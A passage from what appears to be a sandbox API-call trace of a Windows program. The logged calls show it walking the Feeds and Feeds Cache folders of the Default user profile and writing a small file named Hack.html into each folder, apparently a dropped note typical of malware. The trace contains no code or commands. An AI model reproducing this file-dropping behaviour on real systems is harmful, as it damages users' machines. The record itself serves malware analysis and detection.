lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpFilePart=0x0) returned 0x62 [0090.973] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e788, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0090.975] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a4e8 [0090.975] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0090.975] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0090.975] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0090.975] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0090.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0090.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0090.975] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7b4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.976] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x39e7b4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0090.977] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x61 [0090.977] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x39e7b4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0090.977] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e794, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.978] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e794, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0090.979] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e788, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.980] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e788, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0090.980] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpFilePart=0x0) returned 0x62 [0090.980] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e788, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0090.982] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a4e8 [0090.982] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0090.982] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0090.982] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0090.982] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0090.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0090.983] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e6a8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.983] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e6a8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x62 [0090.984] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Hack.html", lpFilePart=0x0) returned 0x6b [0090.984] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Hack.html", lpszLongPath=0x39e6a8, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0090.984] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x39e66c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0090.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0090.984] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.985] GetFileType (hFile=0x174) returned 0x1 [0090.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0090.985] GetFileType (hFile=0x174) returned 0x1 [0090.985] WriteFile (in: hFile=0x174, lpBuffer=0x2898568*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x2898568*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0090.986] CloseHandle (hObject=0x174) returned 1 [0090.986] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e6dc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0090.987] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\Hack.html", lpFilePart=0x0) returned 0x60 [0090.987] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\Hack.html", lpszLongPath=0x39e6dc, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0090.987] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x39e6a0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0090.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0090.987] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.988] GetFileType (hFile=0x174) returned 0x1 [0090.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0090.988] GetFileType (hFile=0x174) returned 0x1 [0090.988] WriteFile (in: hFile=0x174, lpBuffer=0x289adf0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x289adf0*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0090.989] CloseHandle (hObject=0x174) returned 1 [0090.989] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Hack.html", lpFilePart=0x0) returned 0x38 [0090.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0090.989] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.989] GetFileType (hFile=0x174) returned 0x1 [0090.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0090.990] GetFileType (hFile=0x174) returned 0x1 [0090.990] WriteFile (in: hFile=0x174, lpBuffer=0x289d5d8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x289d5d8*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0090.991] CloseHandle (hObject=0x174) returned 1 [0090.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0090.991] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x34 [0090.991] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\", lpFilePart=0x0) returned 0x35 [0090.991] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0090.992] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.993] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.993] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.993] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.993] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.993] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.993] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.994] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0090.994] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0090.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0090.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0090.995] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x34 [0090.995] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\", lpFilePart=0x0) returned 0x35 [0090.995] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0090.996] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.996] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.996] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.996] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.996] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.996] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.996] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0090.997] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0090.997] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0090.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0090.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0090.998] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x3d [0090.998] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\", lpFilePart=0x0) returned 0x3e [0090.998] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0090.999] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.999] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.999] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0090.999] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0090.999] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0090.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0090.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0090.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0090.999] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x3d [0090.999] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\", lpFilePart=0x0) returned 0x3e [0090.999] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0091.000] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.000] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.000] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.000] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.000] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0091.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0091.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0091.000] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\Hack.html", lpFilePart=0x0) returned 0x47 [0091.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0091.000] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.001] GetFileType (hFile=0x174) returned 0x1 [0091.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0091.001] GetFileType (hFile=0x174) returned 0x1 [0091.001] WriteFile (in: hFile=0x174, lpBuffer=0x28a418c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x28a418c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0091.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0091.002] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x3d [0091.002] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\", lpFilePart=0x0) returned 0x3e [0091.002] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0091.003] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.003] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.003] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.003] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.003] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0091.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0091.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0091.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0091.004] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x3d [0091.004] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\", lpFilePart=0x0) returned 0x3e [0091.004] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a4e8 [0091.004] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.004] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.004] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0091.004] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0091.005] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0091.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0091.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0091.005] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\Hack.html", lpFilePart=0x0) returned 0x47 [0091.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0091.005] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\Hack.html" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.005] GetFileType (hFile=0x174) returned 0x1 [0091.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0091.006] GetFileType (hFile=0x174) returned 0x1 [0091.006] WriteFile (in: hFile=0x174, lpBuffer=0x28a871c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x28a871c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0091.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0091.007] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", 